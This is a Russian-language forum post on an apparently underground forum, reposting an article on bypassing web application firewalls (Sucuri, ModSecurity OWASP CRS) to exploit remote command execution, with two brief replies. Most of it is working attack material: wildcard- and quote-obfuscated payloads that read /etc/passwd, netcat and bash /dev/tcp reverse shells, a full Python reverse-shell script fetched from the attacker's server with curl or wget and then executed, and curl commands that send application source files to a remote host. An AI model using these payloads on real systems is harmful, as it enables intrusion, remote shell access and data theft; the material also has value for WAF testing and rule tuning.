Обходим фаервол веб-приложений (WAF)

  • Автор темы HHIDE_DUMP
  • Дата начала
  • Просмотры 3K
  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

HHIDE_DUMP

Гость
H

HHIDE_DUMP

Гость
Все современные Файерволы веб-приложений (Web Application Firewall — WAF) способны перехватывать (и даже блокировать) попытки RCE (Remote Command Execution — Удалённого выполнения команд), но когда это происходит в системах Linux у нас есть неимоверное количество путей обхода набора правил WAF. Лучший друг тестера на проникновение это не собака, это подстановочные символы (wildcard). Перед тем, как мы начнём делать разные приколюхи с тестированием на проникновение веб-приложений (WAPT), я хочу показать вам несколько возможностей, которые вы могли не знать о Bash и подстановочных символах.​

Это не редкость найти уязвимость Удалённое выполнение команд (Remote Command Execution) в веб-приложении и это подтверждается в «OWASP Top 10 application security risk 2017» в котором «Инъекция» (Injection) на первом месте:
Недостатки безопасности связанные с инъекциями (внедрениями): такие как SQL, NoSQL, ОС и LDAP инъекции, встречаются когда ненадёжные данные отправляются интерпретатору в качестве команды или запроса. Враждебные данные атакующего могут с помощью уловки заставить интерпретатор выполнить непреднамеренные команды или получить доступ к данным без надлежащей авторизации.

Подстановочные символы
Стандартные подстановочные символы Bash (также известные как globbing patterns) используются различными утилитами командной строки для работы с несколькими файлами. Для дополнительной информации о стандартных подстановочных символах обратитесь к странице справки, для этого в командной строке выполните:
Код:
man 7 glob
Не каждый знает, что существует множество вариантов синтаксисов bash, которые дают вам возможность выполнить команды уровня системы просто используя знак вопроса «?», слэш «/», цифры и буквы. Вы можете даже перечислить файлы и их содержимое используя то же количество символов. Как? Я дам вам несколько примеров:
Вместо выполнения команды ls вы можете использовать следующий синтаксис:
Код:
/???/?s
Вывод справки «ls» полученной в результате выполнения синтаксиса /???/?s:



Примечание: строка /???/?s может соответствовать сразу нескольким программам, например:
Код:
which/???/?s
/bin/as
/bin/gs
/bin/ls
/bin/ps
/bin/ss
which: no ts in (/lib)
which: no fs in (/sys)
Этот вывод означает, что шаблон /???/?s соответствует программам /bin/as, /bin/gs, /bin/ls, /bin/ps и /bin/ss — каждая из которых присутствует в системе. Следовательно, при использовании /???/?s будет запущена каждая (!) из приведённых команд.
С синтаксисом этого типа вы можете выполнить практически всё, что хотите. Допустим уязвимая цель за Web Application Firewall и этот WAF имеет правило, которое блокирует все запросы, содержащие /etc/passwd или /bin/cat внутри значения GET параметра или внутри тела POST запроса. Если вы попытаетесь сделать запрос вроде такого /?cmd=cat+/etc/passwd, он будет заблокирован целевым WAF и ваш IP будет навсегда забанен как «очередного хакера». Но у нас есть секретное оружие под названием подстановочные символы. Если вы достаточно удачливы (для не столь удачливых смотрите дальше), то целевой WAF не имеет «уровня паранойи» который блокирует символы вроде ? и /внутри строки запроса. Поэтому вы можете с лёгкостью сделать ваш запрос (в url-кодировке) вроде такого: /?cmd=%2f???%2f??t%20%2f???%2fp??s??
Получится команда:
Код:
/???/??t /???/p??s??
Кстати, чтобы кодировать в url-кодировку и из url-кодировки используйте команды вида:
Код:
echo 'строка для декодирования из url' | php -r 'echo
urldecode(fgets(STDIN));'
# и
echo -n 'строка для кодирования в url' | php -r 'echo
urlencode(fgets(STDIN));'
Примеры:
Код:
echo '%2f???%2f??t%20%2f???%2fp??s??' | php -r 'echo
urldecode(fgets(STDIN));'
/???/??t /???/p??s??
В обратную сторону:
Код:
echo -n '/???/??t /???/p??s??' | php -r 'echo urlencode(fgets(STDIN));'
%2F%3F%3F%3F%2F%3F%3Ft+%2F%3F%3F%3F%2Fp%3F%3Fs%3F%3F
Результат выполнения /bin/cat /etc/passwd с подстановочными символами:



Как вы можете видеть на скриншоте выше, имеется 3 ошибки «/bin/cat *: Is a directory», то есть /bin/cat *: не является директорией. Это случилось поскольку «/???/??t» может быть истолковано процессом globbing как /bin/cat, но и также как /dev/net или /etc/apt и так далее.
Подстановочный символ знак вопроса (?) обозначает только один символ, которым может быть любой символ. Таким образом, в случае если вы знаете часть имени файла, но не одну букву, тогда вы можете попытаться исопльзовать подстановочные символы. Например, ls *.???выведет список всех файлов в текущей директории, у которых файловое расширение длиной в 3 символа. То есть будут показаны файлы с такими расширениями как .gif , .jpg , .txt
Используя этот подстановочный символ, вы можете создать обратное подключение к оболочке используя netcat. Допустим нам нужно выполнить обратный шелл к 127.0.0.1 на порту 1337 (команда в обычной форме это nc -l -e /bin/bash 127.0.0.1 -p 1337), тогда вы можете сделать это синтаксисом вроде следующего:
Код:
/???/n?t??t -l -e /???/b??h 2130706433 -p 1337
Конвертируя IP адрес в «длинный» формат (2130706433), вы можете избежать использование символов точек (.) в вашем HTTP запросе.
Также nc заменена на netcat (псевдоним для nc). В зависимости от системы и установленных программ, также иногда можно использовать ncat (версия nc от авторов Nmap). Ещё один вариант — nc.traditional (работает, например, в Kali Linux, возможно и в других производных Debian).
На «жертве» запущено прослушивание подключения:
Код:
/???/n?t??t -l -e /???/b??h 2130706433 -p 1337
«Атакующий» может подключиться командой вида:
Код:
nc 127.0.0.1 1337
Затем выполним какие-нибудь команды, например:
Код:
cd /
ls -l


В предыдущем примере на «атакуемой» машине было открыто прослушивание порта и затем «злоумышленник» подключился к ней.
Можно использовать другой вариант, «злоумышленник» открывает на своей машине порт в ожидании соединения:
Код:
nc -l -p 1337
И выполняет подключение с «атакуемой» машины:
Код:
/???/n?t??t -e /???/b??h 2130706433 1337
Подведём небольшой итог двух команд, которые мы только что рассмотрели:
Обычная команда: netcat -l -e /bin/bash 127.0.0.1 -p 1337
Команда для обхода: /???/n?t??t -l -e /???/b??h 2130706433 -p 1337
Используемые символы: / ? n t l e p - [0-9]
Обычная команда: /bin/cat /etc/passwd
Команда для обхода: /???/??t /???/??ss??
Используемые символы: / ? t s
Почему используется ? (знак вопроса) вместо * (звёздочки)? Потому что * широко используется в синтаксисе комментирования (что-то вроде /* А здесь комментарий */) и многие WAF блокирует его, чтобы избежать SQL инъекции… чего-то вроде UNION+SELECT+1,2,3/*
Перечислять файлы и директории используя echo? Да, мы можем. Команда echo, используя подстановочный символ, может перечислять файлы и директории в системе. Например:
Код:
echo /*/*ss*


Это может использоваться в RCE чтобы узнать, какие есть файлы и директории на целевой системе. Пример перечисления файлов и директорий через WAF:



Но почему использование подстановочных символов (и в особенности знака вопроса) может помочь обойти правила WAF? Давайте начнём с Sucuri WAF!

Обход Sucuri WAF
Тестирование техники обхода на Sucuri WAF:



Какой самый лучший способ тестирования набора правил WAF? Создать самый уязвимый в мире PHP скрипт и попробовать все возможные техники! На скриншоте выше у нас: в верхней левой панели моё ужасное веб-приложение (это просто PHP скрипт, который выполняет команды):
Код:
<?php
      echo 'ok: ';
      print_r($_GET['c']);
      system($_GET['c']);
В левой нижней панели вы можете видеть тестирование Удалённого выполнения команд на моём сайте, защищённым с помощью Sucuri WAF (test1.unicresit.it). Как вы можете увидеть, Sucuri блокирует мой запрос по причине «An attempted RFI/LFI was detected and blocked» («была обнаружена и заблокирована попытка RFI/LFI). Причина не до конца верна, но хорошая новость в том, что WAF заблокировал мою атаку (я даже не могу себе представить, почему файервол обязан мне докладываться о причине, по которой заблокирован запрос?! Но для этого должны быть веские основания… я почти уверен).
Правая панель является самой интересной из всех, поскольку она показывает тот же запрос с использованием «знака вопроса» в качестве подстановочного символа. Результат пугающий. Запрос принят Sucuri WAF и моё приложение выполнило команду, которую я передал в параметре c. Теперь я могу прочитать файл /etc/passwd и многое другое… Я могу прочитать исходный код PHP самого приложения, я могу выполнить обратный шелл (reverse shell) используя netcat (или как мне нравится называть её /???/n?t??t или /???/?c), или я могу исполнить программы, такие как curl или wget чтобы раскрыть реальный IP адрес веб сервера, который даст мне возможность обходить WAF, подключаясь напрямую к цели.
Я не знаю, случилось ли это из-за того, что я что-то пропустил в моей конфигурации Sucuri WAF, но не похоже на это… Я спросил Sucuri, является ли это преднамеренным поведением, и настраивают ли они стандартный «low paranoia level» для избежания ложных срабатываний (false positives), но я до сих пор ожидаю ответа.
Пожалуйста, помните, что я делаю тест используя простейший PHP скрипт, который не воспроизводит реальный сценарий. ИМХО вы не должны судить WAF на основе того, как много запросов он блокирует, и Sucuri не менее безопасен просто потому, что не может полностью защитить намеренно уязвимый вебсайт. Необходимое уточнение сделано!

ModSecurity OWASP CRS 3.0
Я действительно люблю ModSecurity, я думаю, что новая libmodsecurity (v3), используемая с Nginx и коннектором Nginx — это лучшее решение, которое я когда-либо использовал для развёртывания Файервола веб приложений. Я также большой поклонник OWASP Core Rule Set! Я использую его везде. Но если вы не знакомы хорошо с этим набором правил, вы должны обратить внимания на Paranoia Level!

Paranoia Level (Уровень Паранойя) для начинающих
Следующая «схема», которую вы можете найти
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
— это хороший обзор как работает каждый уровень на правилах «REQUEST PROTOCOL ENFORCEMENT». Как вы можете видеть с PL1 строка запроса может содержать только символы ASCII в диапазоне 1–255 и правило становится более ограничительным вплоть до уровня PL4, который блокирует всё, кроме ASCII символов в очень маленьком диапазоне.
Код:
# -=[ Targets and ASCII Ranges ]=-
#
# 920270: PL1
# REQUEST_URI, REQUEST_HEADERS, ARGS и ARGS_NAMES
# ASCII: 1-255
# Пример: Полный диапазон ASCII без символа null
#
# 920272: PL3
# REQUEST_URI, REQUEST_HEADERS, ARGS, ARGS_NAMES, REQUEST_BODY
# ASCII: 32-36,38-126
# Пример: Видимые буквы нижнего регистра диапазона ASCII без символа процент
#
# 920273: PL4
# ARGS, ARGS_NAMES и REQUEST_BODY
# ASCII: 38,44-46,48-58,61,65-90,95,97-122
# Пример: A-Z a-z 0-9 = - _ . , : &
#
# 920274: PL4
# REQUEST_HEADERS без User-Agent, Referer, Cookie
# ASCII: 32,34,38,42-59,61,65-90,95,97-122
# Пример: A-Z a-z 0-9 = - _ . , : & " * + / SPACE
Давайте проведём тесты со всеми уровнями!

Paranoia Level 0 (PL0)
Уровень Paranoia Level 0 обозначает, что многие правила отключены, поэтому абсолютно нормально, что наша полезная нагрузка может привести к Удалённому выполнению команд без каких-либо проблем. Не паникуем!
Код:
SecAction "id:999,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.paranoia_level=0"
RCE принята ModSecurity на PL0 (это нормально):



Уровень paranoia level 1 в ModSecurity означает “flawless rules of high quality with virtually no false positives” (не вызывающие проблем правила высокого качества теоретически не вызывающие ложных срабатываний), но они также разрешают слишком много. Вы можете найти список правил сгруппированных по уровню паранойи на веб-сайте netnea.

Уровни Paranoia Level 1 и 2 (PL1, PL2)
Я сгруппировал уровни 1 и 2 поскольку их разница (как вы можете видеть на схеме выше) не оказывает воздействия для наших целей, все поведения те же самые, как описано ниже.
Код:
SecAction "id:999,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.paranoia_level=1"
С PL1 (и PL2) ModSecurity очевидно блокирует мой запрос для «OS File Access Attempt» (930120). Но что если я буду использовать знак вопроса в качестве подстановочного символа? Запрос принимается моим WAF — с PL1 и PL2 моя RCE атака не была заблокирована и я смог прочитать /etc/passwd:



Это случилось из-за того, что «знак вопроса» и «слэш» и «пробел» входят в приемлемый диапазон символов для правил 920271 и 920272. Более того, использование «знаков вопроса» вместо синтаксиса команд дало мне возможность избежать фильтров «OS File» (файлы операционной системы), которые перехватывают обычные команды и файлы операционной системы (такие как /etc/passwd в нашем случае).

Уровень Paranoia Level 3 (PL3)
Этот уровень паранойи имеет дополнение: он блокирует запросы, содержащие такие символы как «?» более чем n раз. На самом деле, мои запросы были заблокированы как «Meta-Character Anomaly Detection Alert — Repetitive Non-Word Characters». Отлично! Хорошая работа, ModSecurity, ты выиграл плюшевого мишку! Но к сожалению моё веб приложение такое неудачное и уязвимое, что я могу использовать меньше знаков вопросов и всё равно прочитать файл passwd используя синтаксис: c=/?in/cat+/et?/passw?



Как вы можете видеть, если всего три знаков вопросов «?», то я могу обойти этот уровень паранойи и прочитать файл passwd внутри целевой системы. Окей, это не означает, что вы всегда безусловно должны устанавливать уровень паранойи на 4. Помните, что я тестирую на действительном убогом PHP скрипте, которые не представляет реальный сценарий… Я так надеюсь, по крайней мере…
Теперь каждый знает, что
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
это ответ на главный вопрос жизни, вселенной и всего такого. Но что насчёт вопроса: «Удастся ли обойти OWASP Rule Set на уровне паранойи 4?».

Уровень Paranoia Level 4 (PL4)
В принципе нет. Я не могу. Все символы за пределами диапазонов a-z A-Z 0–9 блокируются! Никак… и поверьте мне, когда вам нужно выполнить команду для чтения файлов, 90% вероятности, что вам нужен символ «пробела» и «слэша».

Объединяем строки в полезной нагрузке для обхода правил
Очевидно, что существует множество способов обойти набор правил WAF и я думаю каждая атака имеет свои специфичные техники обхода. Например: использование синтаксиса комментирования внутри полезной нагрузки SQL-инъекции может обойти многие фильтры. Я имею ввиду вместо использования union+select вы можете использовать что-то вроде:
Код:
/?id=1+un/**/ion+sel/**/ect+1,2,3--
Это отличная техника, она также работает когда целевой WAF имеет низкий уровень паранойи, который разрешает астериск (символ звёздочки *) и символ дефиса. Это должно работать только для SQL инъекции и это не может использоваться для эксплуатации Локального внедрения файлов (Local File Inclusion) или Удалённого выполнения команд (Remote Command Execution). В некоторых специфичных сценариях, настоящим «кошмаром» для WAF, которым нужно защищать веб приложения от атак удалённого выполнения команд, является конкатенация (объединение) строк.
Если вы хотите попрактиковаться с некоторыми из этих техник обхода, недавно я (в смысле автор theMiddle) создал FluxCapacitor — крайне уязвимую виртуальную машину на hackthebox. Эта статья не содержит каких либо подсказок для решения определённых сценариев FluxCapacitor, но может улучшить ваши знания об этой технике.

Конкатенация (объединение)
Во многих языках программирования, конкатенация строки — это бинарный инфиксный (это означает, что вставляется посередине) оператор. Оператор + (плюс) часто перегружается для обозначения конкатенации строковых аргументов: "Hello, " + "World" имеет значение "Hello, World". В других языках есть отдельный оператор специально для указания неявного преобразования типа в строку, в отличие от более сложного поведения универсального плюса. В качестве примеров можно привести . (точка) в Perl и PHP, .. (две точки) в Lua и так далее. Например:
Код:
php -r 'echo "hello"." world"."\n";'
hello world

python2 -c 'print "hello" + " world"'
hello world
Но если вы думаете, что это единственный способ объединить строки, вы абсолютно ошибаетесь.
В некоторых языках, таких как C, C++, Python и скриптовых языках / синтаксис которых может быть найден в Bash, есть нечто, называемое конкатенацией строковых литералов (string literal concatenation), что означает, что смежные строковые литералы объединяются без какого-либо оператора: "Hello, " "World" имеет значение "Hello, World". Это работает не только для команд printf и echo, но и для всего синтаксиса bash. Давайте начнём с начала.
Каждая из следующих команд имеет одинаковый результат:
Код:
echo test
echo 't'e's't
echo 'te'st
echo 'te'st''
echo 'te'''st''
python2 -c 'print "te" "st"'
Тесты конкатенации строк используя Bash и Python:



Это происходит потому, что все смежные строковые литералы объединяются в Bash. На самом деле 'te's't' составлена из трёх строк: строка te, строка s и строка t. Этот синтаксис может использоваться для обхода фильтра (или правила WAF), которое основывается на «совпадении фраз» (например как pm оператор в ModSecurity).
Правило SecRule ARGS "@pm passwd shadow groups"… в ModSecurity будет блокировать все запросы, содержащие passwd или shadow. Но что если мы конвертируем их в pa'ss'wd или sh'ad'ow? Как SQLi синтаксис, который мы видели ранее, и в котором запрос разбит с использованием комментариев, здесь также мы можем разбить имена файлов и системных команд используя единичную кавычку ' и составив группу объединяющихся строк. Конечно, вы можете использовать конкатенированную строку в качестве аргумента любой команды, но не только это… Bash позволяет нам объединять даже пути до исполнимых файлов!
Несколько примеров одних и тех же команд:
Код:
/bin/cat /etc/passwd
/bin/cat /e'tc'/pa'ss'wd
/bin/c'at' /e'tc'/pa'ss'wd
/b'i'n/c'a't /e't'c/p'a's's'w'd'
Используя конкатенированную строку в качестве аргумента команды cat или как пути до исполнимого файла cat:





Теперь давайте предположим, что вы обнаружили удалённое выполнение команд в параметре url вашего приложения. Если имеется правило, которое блокирует фразы вроде «что-либо, passwd, shadow, что-либо…», вы можете обойти это чем-то вроде такого:
Код:
curl .../?url=;+cat+/e't'c/pa'ss'wd
Настало время сделать несколько тестов! Я буду использовать следующий PHP код, чтобы проводить тесты, как и раньше, за защитой Sucuri WAF и ModSecurity. Вероятно, читая этот код вы думаете, что он слишком глупый и простой, и что никто не использует curl внутри функции system() вместо использования функции curl языка PHP… Если вы думаете так, вы живёте в мире, который лучше чем мой!
Вы удивитесь, как много раз я встречал такого рода вещи в исходном коде реальных производственных приложениях. PHP, который я буду использовать:
Код:
<?php
if ( isset($_GET['zzz']) ) {
system('curl -v '.$_GET['zzz']);
 }
Веселье с Sucuri WAF
Прежде всего я попытаюсь использовать это PHP приложение чтобы получить тело ответа google.com без кодирования значения параметра:
Код:
curl -v 'http://test1.unicresit.it/?zzz=google.com'
Это работает как ожидалось, страница google.com со статусом ответа 302 говорит, что мне следует пройти по адресу
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
(google правильно определил расположение моего сервера во Франкфурте):



Теперь много вещей, которые я могу делать, чтобы эксплуатировать это уязвимое приложение. Одна из них — это поломка синтаксиса curl с помощью ; (точки с запятой) и попытка выполнить другие системные команды. Sucuri злится, когда я пытаюсь прочитать файл /etc/passwd… Например:
Код:
curl -v 'http://test1.unicresit.it/?zzz=;+cat+/etc/passwd'
Приводит к блокировке в Sucuri WAF по следующей причине «An attempted RFI/LFI was detected and blocked» (была обнаружена и заблокирована попытка удалённого/локального внедрения файлов). Я думаю (просто предположение, поскольку пользователи не могут видеть подробности правила Sucuri WAF), что правило Sucuri «RFI/LFI Attempt» использует что-то вроде «совпадение фраз» со списком обычных путей и имён файлов, таких как /etc/passwd. Этот WAF имеет очень минималистический набор правил и очень низкий «уровень паранойи», который позволяет мне обойти это правило используя просто две одинарных кавычки!
Код:
curl -v "http://test1.unicresit.it/?zzz=;+cat+/e'tc/pass'wd"
Обход Sucuri WAF используя две одинарных кавычки:



Я знаю, что вы думаете: «хорошо, ты можешь прочитать файл passwd обойдя все наборы правил WAF…, но реальный, самый большой и самый важный, мать всех вопросов такой: можешь ли ты получить шелл даже если Sucuri WAF активен и защищает ваше приложение?» natürlich да! Единственная проблема, что мы не можем использовать netcat, поскольку она не установлена в целевой контейнер и да: я проверил это используя удалённое выполнение команд
Код:
curl -s "http://test1.unicresit.it/?zzz=;+which+ls"
/bin/ls
curl -s "http://test1.unicresit.it/?zzz=;+which+nc"
Самый простой способ (с несколькими специальными символами, которые могут быть заблокированы в WAF), это использовать команду bash -i примерно так: bash -i >& /dev/tcp/1.1.1.1/1337 0>&1, но к сожалению это слишком сложно для обхода всех наборов правил с этой полезной нагрузкой, и это означает, что будет трудно использовать PHP, Perl или Python код чтобы получить его. Sucuri WAF блокирует мои попытки по причине «Obfuscated attack payload detected.» (обнаружена атака с обфусцированной полезной нагрузкой). Круто, не так ли?
Вместо попытки получить шелл отправляя команды напрямую через уязвимый параметр, я могу загрузить обратный шелл Python в директорию с правами записи используя curl или wget. Начнём с подготовки кода python в shell.py:
Код:
#!/usr/bin/python2
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<my ip address>",2375));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
Затем «поднимите» веб-сервер, доступный с целевой системы, как обычно, используя python2 -c SimpleHTTPServer или php -S, и т.д. Затем загрузите файл shell.py с целевого веб-сайта, я использовал следующий синтаксис:
Код:
curl -v '.../?zzz=<myip>:2375/shell.py+-o+/tmp/shell.py'
Шелл загруженный с помощью curl:



Обратный шелл на python через Sucuri WAF:



Окей, Sucuri WAF не блокирует этот запрос, но обычно ModSecurity блокирует подобную хрень.
Если вы хотите быть уверенным, что обойдёте все типы правил «совпадения фраз», вы можете использовать wget + ip-в-длинной-нотации + объединение строки:
Код:
.../?zzz=wg'e't 168431108 -P tmp
.../?zzz=c'hm'od 777 -R tmp
.../?zzz=/t'm'p/index.html
Первая команда использует wget для загрузки шелла в /tmp/. Вторая использует chmod чтобы сделать его исполнимым и третья исполняет его. Как вы можете видеть, не указано имя файла в запросе к команде wget, поэтому загруженный файл назван самой wget как index.html. Вы можете изменить содержимое этого файла используя netcat nc записывая заголовки ответа и тело ответа вручную.

Обход ModSecurity и OWASP Core Rule Set
Вероятно вы думаете, что с низким уровнем паранойи вы можете обойти OWASP Core Rule Set с этими техниками, как мы видели в первой статье… Хмм, в принципе, нет. Это из-за двух вещей, называемых normalizePath и cmdLine. В ModSecurity они называются «transformation function» (функции трансформации) и используются для изменения входных данных перед их проверкой на совпадение правилам (например, выполнение оператора). Входные данные никогда не изменяются. ModSecurity создаст копию данных, трансформирует их, и затем запустит оператор в отношении полученного результата.
normalizePath: он удаляет множественные слэши, ссылки директории на саму себя и обратные ссылки директории (за исключением начала ввода) из входной строки.
cmdLine: сломает все ваши мечты пентестера
разработан Марком Стернером (Marc Stern), эта функция трансформации избегает использование последовательностей экранирования, нормализуя значения параметров, и проверяет на все правила, такие как LFI, RCE, Unix команды и так далее. Например, перед оценкой по любым правилам /e't'c/pa'ss'wd нормализуется до /etc/passwd. Она делает многое! К примеру:
  • удаляет все обратные слэши \
  • удаляет все двойные кавычки "
  • удаляет все единичные кавычки '
  • удаляет все символы каретки ^
  • удаляет пробелы перед слэшами /
  • удаляет пробелы перед открытыми скобками (
  • заменяет все запятые , и точки с запятой ; на пробелы
  • заменяет все множественные пробелы (включая tab, newline и прочее) на один пробел
  • преобразует все буквы в нижний регистр
Все попытки эксплуатировать RCE с конкатенированной строкой блокируются правилом 932160, потому что функция трансформации cmdLine:
Код:
Matched "Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:zzz' (Value: ` cat /e't'c/pa'ss'wd' )"
"o5,10v10,20t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase"
"ruleId":"932160"
Хорошо, я не могу прочитать /etc/passwd, но я не отчаиваюсь! OWASP Core Rule Set знает распространённые файлы, пути и команды чтобы заблокировать их, но он не может делать это же самое с исходным кодом целевого приложения. Я не могу использовать символ точка с запятой ; (и это означает, что я не могу поломать синтаксис curl), но я могу использовать curl для эксфильтрации (выцеживания) файлов и отправки их на мой удалённый сервер. Это будет работать с уровнями паранойи от 0 до 3.
Этот трюк отправляет файлы на удалённый сервер в теле HTTP запроса POST. Это может делать curl с использованием параметра -d:
Код:
curl -d @/<file> <удалённый сервер>
В следующем запросе символ @ кодирован в %40:
Код:
curl ".../?zzz=-d+%40/usr/local/.../index.php+1.1.1.1:1337"
Эксфильтрация PHP файла с целевого приложения (за ModSecurity) на удалённый сервер:



Всё это не будет работать если цель имеет уровень паранойи установленный на 4, поскольку полезная нагрузка содержит такие символы как тире, слэш и так далее. Хорошая новость в том, что уровень паранойи 4 очень нечасто встречается в рабочей среде.
Эта же техника также работает с использованием символа обратного слэша \. Это не строка с конкатенацией, это просто символ экранирования:



Заключение
Назад к статичным HTML страницам… это самый быстрый способ улучшить безопасность вашего веб приложения! Трудно сказать, какая конфигурация является самой лучшей для предотвращения обхода WAF или какой уровень паранойи использовать. По моему скромному мнению, мы не должны надеятся на набор правил, одинаковый для всех веб приложений. На самом деле, я думаю, что нам следует настраивать наши правила для WAF исходя из контекста их применений — индивидуально для функциональности приложения.
В любом случая, когда вы пишите новое SecRule для вашего ModSecurity или чего-то подобного. Помните, что вероятно существует много способов ускользнуть от вашего фильтра / регулярного выражения. Поэтому пишите его с мыслью «как бы я мог обойти это правило?».
 

HHIDE_DUMP

Гость
H

HHIDE_DUMP

Гость
всё крута но если не трудно под мануал сделать и кинуть сылку было бы круче всёравно спс за инфу
 

HHIDE_DUMP

Гость
H

HHIDE_DUMP

Гость
источник хоть укажи
 

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2022

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя